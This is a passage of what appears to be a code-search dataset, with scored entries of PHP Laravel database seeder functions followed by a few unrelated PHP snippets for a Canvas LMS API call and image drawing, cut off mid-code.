now(),\n 'password' => '$2y$10$TKh8H1.PfQx37YgCzwiKb.KjNyWgaHb9cbcoQgdIVFlYg7B77UdFm', // secret\n 'remember_token' => Str::random(10),\n 'created_at' => now(),\n 'updated_at' => now(),\n ]);\n }\n\n //run: php artisan db:seed --class=MahasiswaSeeder\n }", "title": "" }, { "docid": "1aa4a206355178e3ccbd8fe3def1e6d4", "score": "0.7686633", "text": "public function run()\n {\n // Generate 100 users\n $faker = Faker\\Factory::create();\n foreach (range(1, 200) as $index) {\n \\App\\User::create([\n 'name' => $faker->name,\n 'email' => $faker->unique()->safeEmail,\n 'password' => bcrypt('password'),\n ]);\n }\n\n foreach (range(1, 200) as $index) {\n DB::table('role_user')->insert([\n 'user_id' => $index,\n 'role_id' => rand(1, 4),\n ]);\n }\n\n foreach (range(1, 400) as $index) {\n \\App\\Phone::create([\n 'number' => $faker->unique()->phoneNumber,\n 'phone_type_id' => rand(1, 2),\n ]);\n }\n }", "title": "" }, { "docid": "d54647e13ae329a962d5b121081cf7c9", "score": "0.7686619", "text": "public function run()\n {\n $faker = Faker::create();\n\n\n\n foreach(range(1,10) as $value){\n // DB::table('users')->insert([ //random number seed\n // 'name' => Str::random(10) ,\n // 'email' => Str::random(10).'@gmail.com' ,\n // 'password' => Hash::make(Str::random(10)),\n // ]);\n\n // DB::table('users')->insert([ //fake value seed\n // 'name' => $faker->name ,\n // 'email' => $faker->email ,\n // 'password' => $faker->password,\n // ]);\n\n $User = new User(); // use model seed\n $User->name = $faker->name;\n $User->email = $faker->email;\n $User->password =Hash::make('12345678') ;\n $User->save();\n }\n }", "title": "" }, { "docid": "0735812d2abd937154f57b22bffad28d", "score": "0.7686343", "text": "public function run()\n {\n DB::table('product_categories')->delete();\n DB::table('products')->delete();\n DB::table('categories')->delete();\n DB::table('users')->delete();\n\n $this->call(CategorySeeder::class);\n factory(Product::class, 10)->create();\n $this->call(ProductCategorySeeder::class);\n $this->call(UserSeeder::class);\n }", "title": "" }, { "docid": "db3d10d5a0ae96f2a0cd84b83ba93dbb", "score": "0.7684967", "text": "public function run()\n {\n $this->call([userSeeder::class]);\n $this->call([seetingSeeder::class]);\n \\App\\Models\\User::factory(10)->create();\n product::factory('10')->create();\n }", "title": "" }, { "docid": "f031b3aea564cc7e378bc6419ef36a0c", "score": "0.7684251", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n /*DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => 'admin'.'@gmail.com',\n 'password' => bcrypt('secret'),\n 'remember_token' => str_random(10),\n ]);*/\n /*for($i=0;$i<10;$i++){\n DB::table('blogposts')->insert([\n 'title' => str_random(40),\n 'content' => str_random(200),\n 'pubdate' => '2017-05-12',\n ]);\n\n }*/\n /*DB::table('staff')->insert([\n 'post'=>'orghead',\n ]);\n DB::table('staff')->insert([\n 'post'=>'orgtechhead',\n ]);*/\n /*DB::table('marquees')->insert([\n 'id'=>1,\n ]);\n DB::table('marquees')->insert([\n 'id'=>2,\n ]);\n DB::table('marquees')->insert([\n 'id'=>3,\n ]);\n DB::table('marquees')->insert([\n 'id'=>4,\n ]);*/\n /*DB::table('home_contents')->insert([\n 'id'=>1,\n ]);*/\n /*DB::table('implinks')->insert([\n 'id'=>1,\n ]);\n DB::table('implinks')->insert([\n 'id'=>2,\n ]);\n DB::table('implinks')->insert([\n 'id'=>3,\n ]);\n DB::table('implinks')->insert([\n 'id'=>4,\n ]);\n DB::table('implinks')->insert([\n 'id'=>5,\n ]);*/\n /*DB::table('aboutuses')->insert([\n 'id'=>1,\n ]);*/\n }", "title": "" }, { "docid": "95db77aab3f35d8d76e9b9adbc96ba47", "score": "0.7683054", "text": "public function run()\n\t{\n\t\tEloquent::unguard();\n\n\t\t// $this->call('UserTableSeeder');\n\n ColorCode\\Category::create(array('id' => 1, 'name' => 'Red'));\n ColorCode\\Category::create(array('id' => 2, 'name' => 'Blue'));\n ColorCode\\Category::create(array('id' => 3, 'name' => 'White'));\n ColorCode\\Category::create(array('id' => 4, 'name' => 'Yellow'));\n\n $questions = self::getQuestions();\n foreach ($questions as $question) {\n ColorCode\\Question::create(array(\n 'id' => $question[0],\n 'text' => $question[1],\n ));\n }\n\n $options = self::getOptions();\n foreach ($options as $option) {\n ColorCode\\Option::create(array(\n 'question_id' => $option[0],\n 'text' => $option[1],\n 'category_id' => $option[2],\n ));\n }\n\t}", "title": "" }, { "docid": "81905cb18feac0f107d692914dfa1e04", "score": "0.7683051", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $survey = factory(Survey::class)->create(['title' => 'This is a Sample Survey']);\n $question = factory(Question::class)->create(\n [\n 'survey_id' => $survey->id,\n 'question_text' => 'What is your name',\n 'question_type' => 'input',\n 'is_required' => TRUE\n ]\n );\n\n $question2 = factory(Question::class)->create(\n [\n 'survey_id' => $survey->id,\n 'question_text' => 'Are you human',\n 'question_type' => 'radio',\n 'is_required' => TRUE\n ]\n );\n\n $choice1 = factory(Choice::class)->create(\n [\n 'choice_text' => 'Yes',\n 'question_id' => $question2->id\n ]\n );\n\n $choice2 = factory(Choice::class)->create(\n [\n 'choice_text' => 'No',\n 'question_id' => $question2->id\n ]\n );\n }", "title": "" }, { "docid": "8cea7c5afdaf1137280af89ca5acb3bb", "score": "0.76828015", "text": "public function run()\n {\n DB::table('roles')->insert([\n 'nomRol' => 'Administrador',\n ]);\n DB::table('empleados')->insert([\n 'pNom' => 'Admin',\n 'pApe' => 'sispmed.com', \n ]);\n\n \n\n DB::table('users')->insert([\n 'name' => 'Administrador',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456789'),\n 'rol_id' => 1,\n 'empleado_id' => 1 \n ]);\n\n \n // $this->call(UserSeeder::class);\n }", "title": "" }, { "docid": "eea8c1ecedd37c18cfb85197a18dff4b", "score": "0.76821357", "text": "public function run()\n {\n DB::table('books')->insert([\n \t'title' => \"Eloquent JavaScript, Second Edition\",\n \t'author' => \"Marijn Haverbeke\",\n \t'published_on' => \"2014-12-14 00:00:00\",\n\t \"description\" => \"JavaScript lies at the heart of almost every modern web application, from social apps to the newest browser-based games. Though simple for beginners to pick up and play with, JavaScript is a flexible, complex language that you can use to build full-scale applications.\"\n ]);\n\n DB::table('books')->insert([\n \t'title' => \"Learning JavaScript Design Patterns\",\n \t'author' => \"Addy Osmani\",\n \t'published_on' => \"2012-07-01 00:00:00\",\n\t \"description\" => \"With Learning JavaScript Design Patterns, you'll learn how to write beautiful, structured, and maintainable JavaScript by applying classical and modern design patterns to the language. If you want to keep your code efficient, more manageable, and up-to-date with the latest best practices, this book is for you.\",\n\n ]);\n\n $faker = Faker\\Factory::create();\n for($i = 0; $i < 30 ; $i++) {\n DB::table('books')->insert([\n 'title' => $faker->text(100),\n 'author' => $faker->name,\n 'published_on' => $faker->time(\"Y-m-d H:i:s\"),\n 'description' => $faker->realText(2000, 2)\n ]);\n }\n }", "title": "" }, { "docid": "3ed7fd127fa2e0a50a8746a98b68b2a5", "score": "0.7680004", "text": "public function run()\n {\n User::factory(100)->create();\n Customize::factory(20)->create();\n Administrador::factory(20)->create();\n Reporte::factory(20)->create();\n Ventas::factory(20)->create();\n Solicitudes::factory(30)->create();\n //Roles del sistema\n RolesUser::create(['nombre' => 'Administrador']);\n RolesUser::create(['nombre' => 'Promotor']);\n RolesUser::create(['nombre' => 'Vendedor']);\n RolesUser::create(['nombre' => 'PromotorAlfa']);\n \n //Seeder de Role\n $this->call(RoleSeeder::class);\n }", "title": "" }, { "docid": "e2e5ae1006bf16a1637e0b74c02c6fd9", "score": "0.76798826", "text": "public function run()\n {\n $this->call([AdminUserSeeder::class]);\n User::factory(10)->create();\n Artist::factory(10)->create();\n Genre::factory(10)->create();\n Subgenre::factory(10)->create();\n Album::factory(10)->create();\n Song::factory(50)->create();\n $this->call([\n AlbumArtistSeeder::class,\n ArtistSongSeeder::class,\n SongUserSeeder::class,\n ]);\n }", "title": "" }, { "docid": "574d133a47e2bbc53c8d77e069d44fe5", "score": "0.7677412", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(\\App\\Offer::class, 6)->create();\n\n\n // Factory para users\n factory(\\App\\User::class, 1)->create([\n 'name' => 'Juan Manuel',\n 'surname' => 'Galvis Candelo',\n 'email' => '[email protected]',\n 'identification_document' => '1144027456',\n 'phone' => '315618',\n 'address' => 'Carrera 7 67 - 12',\n 'password' => bcrypt('secret')\n ])\n ->each(function (App\\User $user){\n factory(App\\Admin::class, 1)->create(['user_id' => $user->id, 'role' => 'admin']);\n });\n\n }", "title": "" }, { "docid": "65e353a5b33cf45bd84f85808882380e", "score": "0.76770157", "text": "public function run()\n {\n //add admin\n DB::table('users')->insert([\n 'username' => 'admin',\n 'email' => '[email protected]',\n 'password' => app('hash')->make('bmmrhdb2021!'),\n 'role_id' => 1,\n 'status' => 3\n ]);\n\n //add kampus\n DB::table('users')->insert([\n 'username' => 'kampus',\n 'email' => '[email protected]',\n 'password' => app('hash')->make('bmmrhdb2021!'),\n 'role_id' => 2,\n 'status' => 3\n ]);\n\n //seed role\n $this->call([RoleSeeder::class]);\n\n //seed kampus\n $this->call([KampusSeeder::class]);\n }", "title": "" }, { "docid": "5c35b9ef62a74120405c41a03bfa58b6", "score": "0.76757586", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(\\App\\Company::class, 10)->create();\n factory(\\App\\Branch::class, 30)->create();\n factory(\\App\\Timing::class,50)->create();\n factory(\\App\\Contact::class, 15)->create();\n }", "title": "" }, { "docid": "71ce705043a7ddd3d99c95fde024e93e", "score": "0.7673105", "text": "public function run()\n {\n Author::factory(30)->create()->each(function ($author) {\n Book::factory(10)->create(['author_id' => $author->id]);\n });\n\n $users = User::factory(5)->create();\n\n $users[] = User::factory()->create([\n 'email' => '[email protected]',\n 'password' => bcrypt('password123')\n ]);\n\n $users->each(function ($user) {\n ReadingList::factory(6)->create(['user_id' => $user->id])->each(function ($list) {\n\n // Attach random amount of books to this list\n $list->books()->attach(\n Book::all()->random()->pluck('id')\n );\n\n\n });\n });\n }", "title": "" }, { "docid": "614c798230cb6185f7b47e2b6aed83a7", "score": "0.7671022", "text": "public function run()\n {\n $faker = Faker::create();\n foreach(range(1,10) as $index){\n DB::table('books')->insert([\n 'title' => $faker->name,\n 'price' => $faker->randomNumber,\n 'review' => $faker->text,\n 'author_id' => $faker->randomNumber,\n 'category_id' => $faker->randomNumber,\n 'publisher_id' => $faker->randomNumber\n ]);\n }\n }", "title": "" }, { "docid": "511b20b064776c56da98a56ec958c4be", "score": "0.76702726", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \n // inserting document types\n foreach (config('seed_data.document_types') as $value) {\n\n DB::table('document_type')->insert([\n 'name' => $value\n ]);\n }\n\n // insert task status\n foreach (config('seed_data.task_statuses') as $value) {\n\n DB::table('task_status')->insert([\n 'name' => $value\n ]);\n }\n\n // insert task types\n foreach (config('seed_data.task_types') as $value) {\n\n DB::table('task_type')->insert([\n 'name' => $value\n ]);\n }\n\n // insert contact status\n foreach (config('seed_data.contact_status') as $value) {\n\n DB::table('contact_status')->insert([\n 'name' => $value\n ]);\n }\n\n\n // insert the system main email into settings table\n foreach (config('seed_data.settings') as $key => $value) {\n DB::table('setting')->insert([\n 'setting_key' => $key,\n 'setting_value' => $value\n ]);\n }\n // insert sample user as the system admin\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt(\"123456\"),\n 'position_title' => 'Administrator',\n 'is_admin' => 1,\n 'is_active' => 1\n ]);\n\n // insert the initial permissions\n $permissions = [];\n foreach (config('seed_data.permissions') as $value) {\n $permissions[] = \\Spatie\\Permission\\Models\\Permission::create(['name' => $value]);\n }\n }", "title": "" }, { "docid": "8bcaf2d0064e5575a8a846bcd7777b3c", "score": "0.7668297", "text": "public function run()\n {\n DB::statement('SET foreign_key_checks = 0');\n DB::table('trips')->truncate();\n\n factory(\\App\\Trip::class, 100)->create();\n \n // ->each(function($trip){\n\n // Seed para a relação com 10 users\n // Checar!!! $trip->user()->saveMany(factory(App\\User::class, 10)->make());\n\n // Seed para a relação com 4 interests\n // $trip->interest()->saveMany(factory(App\\Interest::class, 4)->make());\n // });\n\n DB::statement('SET foreign_key_checks = 1');\n }", "title": "" }, { "docid": "417b69afa9a77f2acf823445b4e8b450", "score": "0.7666999", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,10)->create()->each(function($user){\n $user->articles()->save(factory(App\\Article::class)->make());\n $user->articles()->save(factory(App\\Article::class)->make());\n $user->articles()->save(factory(App\\Article::class)->make());\n $user->articles()->save(factory(App\\Article::class)->make());\n $user->products()->save(factory(App\\Product::class)->make());\n $user->products()->save(factory(App\\Product::class)->make());\n $user->products()->save(factory(App\\Product::class)->make());\n $user->products()->save(factory(App\\Product::class)->make());\n });\n\n\n }", "title": "" }, { "docid": "554aae85f240df2b5550199f9a5eea4c", "score": "0.76625514", "text": "public function run() {\n\n Author::create([\n \"name\" => \"Mr Jelili\",\n \"gender\" => \"male\",\n \"country\" => \"Nigeria\",\n ]);\n\n Author::create([\n \"name\" => \"Mr gbadebo\",\n \"gender\" => \"male\",\n \"country\" => \"Nigeria\",\n ]);\n\n Author::create([\n \"name\" => \"Jesicca bello\",\n \"gender\" => \"female\",\n \"country\" => \"US\",\n ]);\n\n Author::create([\n \"name\" => \"FEI WONG\",\n \"gender\" => \"female\",\n \"country\" => \"China\",\n ]);\n }", "title": "" }, { "docid": "4d07e466e788cb82aee0aa7c0b176fa3", "score": "0.7660261", "text": "public function run()\n {\n Model::unguard();\n\n $this->call(PermissionTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'Ana Pérez',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin123'),\n 'role_id' => 1,\n 'remember_token' => str_random(10),\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n DB::table('users')->insert([\n 'name' => 'Julio Mantilla',\n 'email' => '[email protected]',\n 'password' => bcrypt('editor123'),\n 'role_id' => 2,\n 'remember_token' => str_random(10),\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n factory(App\\Article::class, 2)->create();\n factory(App\\Comment::class, 3)->create();\n\n Model::reguard();\n }", "title": "" }, { "docid": "6c4887c5ce96ed4d508a25ef10232365", "score": "0.76600325", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create(\n [\n 'email' => '[email protected]', \n 'name' => 'Adam'\n ]\n ); \n factory(User::class)->create(\n [\n 'email' => '[email protected]', \n 'name' => 'Sarah'\n ]\n ); \n factory(User::class)->create(\n [\n 'email' => '[email protected]', \n 'name' => 'Kurtis'\n ]\n ); \n }", "title": "" }, { "docid": "452131988d3c35e2d35b81f7205f602b", "score": "0.76583654", "text": "public function run()\n {\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'password' => Hash::make('testroot')\n ]);\n\n factory(User::class)->create();\n\n factory(Article::class)->times(20)->create();\n factory(Comment::class)->times(10)->create();\n // $this->call(UsersTableSeeder::class);\n }", "title": "" }, { "docid": "48e911d4fd08edbeafc2d1154cf23896", "score": "0.765741", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(\\App\\Model\\User::class, 10)->create();\n factory(\\App\\Model\\Option::class, 20)->create();\n factory(\\App\\Model\\Company::class, 10000)->create();\n factory(\\App\\Model\\Employee::class, 10000)->create();\n }", "title": "" }, { "docid": "54c8303c7b57e85ea9572b704c94d7eb", "score": "0.7652939", "text": "public function run()\n {\n $this->call(CategorySeeder::class);\n $this->call(InventorySeeder::class);\n $this->call(ProductSeeder::class);\n DB::table('users')->insert([\n [\n 'user_name' => 'admin',\n 'first_name' => 'admin',\n 'last_name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin123'),\n 'telephone' => '0393656099',\n 'role' => '1',\n 'avatar' => 'public/backend/images/chrome.png'\n ],\n [\n 'user_name' => 'thang',\n 'first_name' => 'nguyen',\n 'last_name' => 'thang',\n 'email' => '[email protected]',\n 'password' => bcrypt('thang123'),\n 'telephone' => '0393656099',\n 'role' => '2',\n 'avatar' => 'public/backend/images/logo-dark.png'\n ],\n [\n 'user_name' => 'quan',\n 'first_name' => 'luong',\n 'last_name' => 'quan',\n 'email' => '[email protected]',\n 'password' => bcrypt('quan123'),\n 'telephone' => '0393656099',\n 'role' => '3',\n 'avatar' => 'public/backend/images/logo-icon.png'\n ]\n ]);\n }", "title": "" }, { "docid": "3ae14bc4099d8ea94d19e9be9bb2e73f", "score": "0.76524484", "text": "public function run()\n {\n // Uncomment the below to wipe the table clean before populating\n DB::table('grades')->delete();\n\n $grades = array(\n [\n 'id' => 1,\n 'name' => 'Pre-K',\n 'slug' => 'pre-k',\n ],\n [\n 'id' => 2,\n 'name' => 'Elementary',\n 'slug' => 'elementary',\n ],\n [\n 'id' => 3,\n 'name' => 'Junior High',\n 'slug' => 'junior-high',\n ],\n [\n 'id' => 4,\n 'name' => 'High School',\n 'slug' => 'high-school',\n ],\n\n\n );\n\n // Uncomment the below to run the seeder\n DB::table('grades')->insert($grades);\n }", "title": "" }, { "docid": "df398bdb90555f96b0c63def4893b60c", "score": "0.76507354", "text": "public function run()\n {\n //create categories\n// $this->call(CategoriesTableSeeder::class);\n\n //create address\n// $address = factory(App\\Address::class, 1)->create();\n//\n// //create warehouse\n// $warehouse = factory(App\\Warehouse::class, 1)->create();\n//\n// //create goods\n// $all_goods = factory(App\\AllGoods::class, 1)->create();\n// $vendor_goods = factory(App\\Good::class, 1)->create();\n }", "title": "" }, { "docid": "de38198f54b160720c2b9b39729d0755", "score": "0.7650568", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,5)->create();\n factory(App\\Model\\Region::class,10)->create();\n factory(App\\Model\\Country::class,50)->create();\n factory(App\\Model\\Level\\CategoryLevel::class,10)->create();\n factory(App\\Model\\Level\\Level::class,50)->create();\n factory(App\\Model\\Level\\CommunicationTool::class,5)->create();\n factory(App\\Model\\Level\\Evenement::class,5)->create();\n factory(App\\Model\\Level\\Programme::class,5)->create();\n factory(App\\Model\\Level\\Finance::class,5)->create();\n factory(App\\Model\\Level\\LegalFramework::class,5)->create();\n factory(App\\Model\\Level\\Population::class,5)->create();\n }", "title": "" }, { "docid": "48d2945ac013fd0d77bdc25e53d591e8", "score": "0.76497746", "text": "public function run()\n {\n //$faker = \\Faker\\Factory::create();\n DB::table('fonts')->insert(\n [\n 'name' => 'Roboto',\n 'class_name' => 'Roboto',\n 'sources' => 'Google',\n 'status' => 1,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s')\n ]\n );\n DB::table('themes')->insert(\n [\n 'name' => 'default',\n 'status' => 1,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s')\n ]\n );\n DB::table('models')->insert(\n [\n 'name' => 'default',\n 'file_name' => 'saly',\n 'status' => 1,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s')\n ]\n );\n }", "title": "" }, { "docid": "0138acf004addea238d579f8124ed872", "score": "0.7649404", "text": "public function run()\n {\n //call here PostTableSeeder Class\n // $this->call([\n // PostTableSeeder::class,\n // ]);\n\n //to insert a 1000 record to our DB table users use Faker package\n $faker = Faker::create();\n foreach (range(1, 1000) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'password' => bcrypt('secret'), //for secret(enrypted) password\n\n ]);\n }\n\n }", "title": "" }, { "docid": "b01cb6e8fc0e5e7f17d18c8063ae8a14", "score": "0.76493394", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\Model\\Product::class, 20)->create();\n factory(App\\Model\\ProductDetails::class, 20)->create();\n factory(App\\Model\\Branch::class, 20)->create();\n factory(App\\Model\\BranchProduct::class, 20)->create();\n factory(App\\Model\\Customer::class, 30)->create();\n factory(App\\Model\\Order::class, 30)->create();\n factory(App\\Model\\Piutang::class, 20)->create();\n }", "title": "" }, { "docid": "77cedb247f73587eed5e60afe9dc55de", "score": "0.7647074", "text": "public function run()\n {\n\t\t$this->call(RoleSeeder::class);\n\t\t$this->call(CountrySeeder::class);\n\t\t$this->call(CategorySeeder::class);\n\n\t\t// News::truncate();\n\t\t// factory(News::class, 100)->create();\n }", "title": "" }, { "docid": "2c327947c7e63ad712f816b8636d44e9", "score": "0.76454324", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n //factory(App\\User::class,10)->create();\n // factory(App\\Profile::class,10)->create();\n factory(App\\Labo::class,10)->create();\n factory(App\\Magasin::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Produit::class,50)->create();\n factory(App\\Offre::class,200)->create();\n \n }", "title": "" }, { "docid": "a4699bbf0232f24c629ef0db2a7e2e42", "score": "0.76449335", "text": "public function run()\n {\n User::create([\n 'name' => 'Carlo Miguel Dy',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('password'),\n ]);\n \\App\\Models\\User::factory(5)->create();\n \\App\\Models\\Room::factory(10)->create();\n $reservations = \\App\\Models\\Reservation::factory(25)->create();\n\n foreach ($reservations as $reservation) {\n $ratings = collect([1.0, 1.5, 2.0, 2.5, 3.0, 3.5, 4.0, 4.5, 5.0]);\n\n $reservation->review()->create([\n 'reservation_id' => $reservation->id,\n 'rating' => $ratings->random(),\n 'comment' => $this->faker->realText(64),\n ]);\n }\n\n // \\App\\Models\\Review::factory(5000)->create();\n }", "title": "" }, { "docid": "30f0aebede08c9bb56f9de3485859259", "score": "0.7643548", "text": "public function run(): void\n {\n $faker = Faker\\Factory::create();\n\n Restaurant::create([\n 'name' => 'Restaurant 1',\n 'phone' => $faker->phoneNumber,\n 'address' => $faker->address,\n 'domain' => self::RESTAURANT_1,\n ]);\n\n Restaurant::create([\n 'name' => 'Restaurant 2',\n 'phone' => $faker->phoneNumber,\n 'address' => $faker->address,\n 'domain' => self::RESTAURANT_2\n ]);\n }", "title": "" }, { "docid": "3d7cf3ed5341a6a3f5f3c423540f8546", "score": "0.76432055", "text": "public function run()\n {\n //Cmd: php artisan db:seed --class=\"WardsTableSeeder\"\n \n $faker = Faker\\Factory::create(\"ja_JP\");\n \n DB::table('wards')->insert([\n \"hospital_id\" => 1,\n \"name\" => '一般病棟',\n \"created_at\" => $faker->dateTime(\"now\"),\n \"updated_at\" => $faker->dateTime(\"now\")\n ]);\n DB::table('wards')->insert([\n \"hospital_id\" => 1,\n \"name\" => '特殊病棟',\n \"created_at\" => $faker->dateTime(\"now\"),\n \"updated_at\" => $faker->dateTime(\"now\")\n ]);\n DB::table('wards')->insert([\n \"hospital_id\" => 2,\n \"name\" => '一般病棟',\n \"created_at\" => $faker->dateTime(\"now\"),\n \"updated_at\" => $faker->dateTime(\"now\")\n ]);\n DB::table('wards')->insert([\n \"hospital_id\" => 2,\n \"name\" => '特殊病棟',\n \"created_at\" => $faker->dateTime(\"now\"),\n \"updated_at\" => $faker->dateTime(\"now\")\n ]);\n }", "title": "" } ]
e5a4f8133788f300756133612faaca29
Custom Canvas API call
[ { "docid": "872af62969a774cd02b7e1c8c764c6f0", "score": "0.0", "text": "public function onChangeToTestNewCalls() {\n if (!isset($_SESSION)) {\n session_start();\n }\n $domain = $_SESSION['domain'];\n $token = \\Crypt::decrypt($_SESSION['userToken']);\n $courseId = $_SESSION['courseID'];\n $urlPieces = array();\n $urlArgs = array();\n $singleRow = false;\n \n $urlPieces[] = \"https://{$domain}/api/v1/courses/{$courseId}\";\n $urlPieces[] = \"outcome_results\";\n //$urlArgs[] = \"include=['alignments','outcomes','outcomes.alignments','outcome_groups','outcome_links','outcome_paths','users']\";\n $urlArgs[] = \"include=['outcomes']\";\n \n //Attach token\n $urlArgs[] = \"access_token={$token}\";\n $urlArgs[] = \"per_page=5000\";\n $url = GuzzleHelper::constructUrl($urlPieces, $urlArgs);\n \n $response = json_encode($response);\n $response = json_decode($response);\n \n $request = new ModulesRequest(ActionType::GET);// worked\n $response = GuzzleHelper::makeRequest($request, $url, false, $token);\n \n //$outs = $response['linked'][\"['outcomes']\"];// php 7 ?\n $outs = $response->linked->{\"['outcomes']\"};// php 5.5.38 ?\n $outs = array_map('json_encode', $outs);\n $outs = array_unique($outs);\n $outs = array_map('json_decode', $outs);\n return json_encode($outs);\n //return $outs;\n }", "title": "" } ]
[ { "docid": "0d15236b26e0426dc7a8dad6d19dfee1", "score": "0.5658227", "text": "function fb_get_canvas()\r\n\t{\r\n\t\treturn $this->globals['fb_canvas'];\r\n\t}", "title": "" }, { "docid": "f17ce2582ae250036aa8404dbd911d13", "score": "0.5483777", "text": "public function smartCanvas() {\n\t\t// Something related to Smart Canvas =)\n\t}", "title": "" }, { "docid": "0f7ea91fbfd53509b82c18d34d1214ed", "score": "0.54531443", "text": "public function canvasAndSpecialMethodsProvider()\n {\n return array(\n array(\n $gd = new Canvas(new Dimension(100, 100), Canvas::Format_GD),\n array(\n array('setCompressed', array(false), $gd),\n array('getCompressed', array(), false),\n array('getChunkSize', array(), 0)\n )\n ),\n array(\n $png = new Canvas(new Dimension(100, 100), Canvas::Format_PNG),\n array(\n array('setSaveAlpha', array(false), $png),\n array('getSaveAlpha', array(), false),\n array('getFilter', array(), \\Jaguar\\Format\\Png::ALL_FILTERS)\n )\n )\n );\n }", "title": "" }, { "docid": "0e380b299c0abfca7f8d642324b23c4a", "score": "0.53335917", "text": "public function draw()\n {\n $this->canvas->draw();\n }", "title": "" }, { "docid": "7f60c49f12ff656780ad302bf87babe4", "score": "0.52433544", "text": "abstract public function withDraw(array $params);", "title": "" }, { "docid": "c0fee4048d724d6130ce4809edf593c1", "score": "0.5019971", "text": "protected function createCanvas()\n {\n $w = 0;\n if($this->border instanceof Border){\n $w = $this->border->width();\n }\n\n $this->x = $this->radius + $w;\n $this->y = $this->radius + $w;\n\n $this->width = $this->x + $this->radius + $w + 1;\n $this->height = $this->y + $this->radius + $w + 1;\n $this->image = imagecreatetruecolor($this->width, $this->height);\n }", "title": "" }, { "docid": "b95cdfacfe823bf13f8e5dc582257854", "score": "0.49482882", "text": "function tencentCloudFaceShape($appid, $authorization, $url, $mode = 1)\n{\n $header = array(\n 'Content-Type: application/json',\n \"Host: recognition.image.myqcloud.com\",\n \"Authorization: \" . $authorization\n );\n $data = array(\"appid\" => $appid, \"url\" => $url, \"mode\" => $mode);\n $ret = curl_post_http(\"http://recognition.image.myqcloud.com/face/shape\", $header, $data);\n return $ret;\n}", "title": "" }, { "docid": "cbcc3c4dc431b61506916f988d7e4d9a", "score": "0.49475193", "text": "public function drawContent()\n {\n }", "title": "" }, { "docid": "b014992df464603307d00ab4e5ebd40f", "score": "0.49288502", "text": "function withdrawRequest() {\n\n\n}", "title": "" }, { "docid": "9da9aa0022f1c6dc9cc36155a9c7ab72", "score": "0.48536232", "text": "public function set_canvas ($html) {\n\n\t\t\t// Check if the canvas has already been set //\n\t\t\tif (strlen($this->html) > 0) throw new Exception(\"Canvas has already been set\");\n\n\t\t\t// Take the canvas HTML from a file if path exists //\n\t\t\tif (is_file($this->html_dir . $html)) $this->html .= file_get_contents($this->html_dir . $html);\n\n\t\t\t// Otherwise the passed param is treated as a string //\n\t\t\telse $this->html .= $html;\n\t\t}", "title": "" }, { "docid": "93b3c9df93f5d60e748fa49456faace2", "score": "0.4788478", "text": "public function apiCall() : void\n {\n $api = new Api($this->configs);\n $api->init();\n $api->execute();\n }", "title": "" }, { "docid": "f001127ed3c6df64ff6528f4d3ed4d63", "score": "0.4782558", "text": "public function draw(): string;", "title": "" }, { "docid": "f517bd1f26fd332be7e19460a512f2a3", "score": "0.4781485", "text": "function lbf_canvas_head($small = true)\n{\n $s = <<<EOD\n<link href=\"{$GLOBALS['assets_static_relative']}/literallycanvas/css/literallycanvas.css\" rel=\"stylesheet\" />\n<script src=\"{$GLOBALS['assets_static_relative']}/react/build/react-with-addons.min.js\"></script>\n<script src=\"{$GLOBALS['assets_static_relative']}/react/build/react-dom.min.js\"></script>\n<script src=\"{$GLOBALS['assets_static_relative']}/literallycanvas/js/literallycanvas.min.js\"></script>\nEOD;\n if ($small) {\n $s .= <<<EOD\n<style>\n/* Custom LiterallyCanvas styling.\n * This makes the widget 25% less tall and adjusts some other things accordingly.\n */\n.literally {\n min-height: 100%;\n min-width: 300px; /* Was 400, unspecified */\n}\n.literally .lc-picker .toolbar-button {\n width: 20px;\n height: 20px;\n line-height: 20px; /* Was 26, 26, 26 */\n}\n.literally .color-well {\n font-size: 8px;\n width: 49px; /* Was 10, 60 */\n}\n.literally .color-well-color-container {\n width: 21px;\n height: 21px; /* Was 28, 28 */\n}\n.literally .lc-picker {\n width: 50px; /* Was 61 */\n}\n.literally .lc-drawing.with-gui {\n left: 50px; /* Was 61 */\n}\n.literally .lc-options {\n left: 50px; /* Was 61 */\n}\n.literally .color-picker-popup {\n left: 49px;\n bottom: 0px; /* Was 60, 31 */\n}\n</style>\nEOD;\n }\n\n return $s;\n}", "title": "" }, { "docid": "5ef02a4a1dffe593e6b3d12555874ca6", "score": "0.47122473", "text": "public function PrintColorCanvas(\n $num_array,\n $color_array,\n $city,\n $code,\n $price,\n $mobile,\n $sold,\n $new_old,\n $more_details,\n $hashtag\n ){\n //$img_path = \"template/canvas/plate_cnv_dxb_blank.jpg\";\n \n $img_path = Helper::getCanvasPath($city,$new_old);\n\n $platex = 250;\n $platey = 193;\n $txtfont = 'font/GL-Nummernschild-Eng.ttf';\n $txtfont_size = 95;\n $price_print = Helper::checkPrice($price);\n\n //for code\n $codefont = 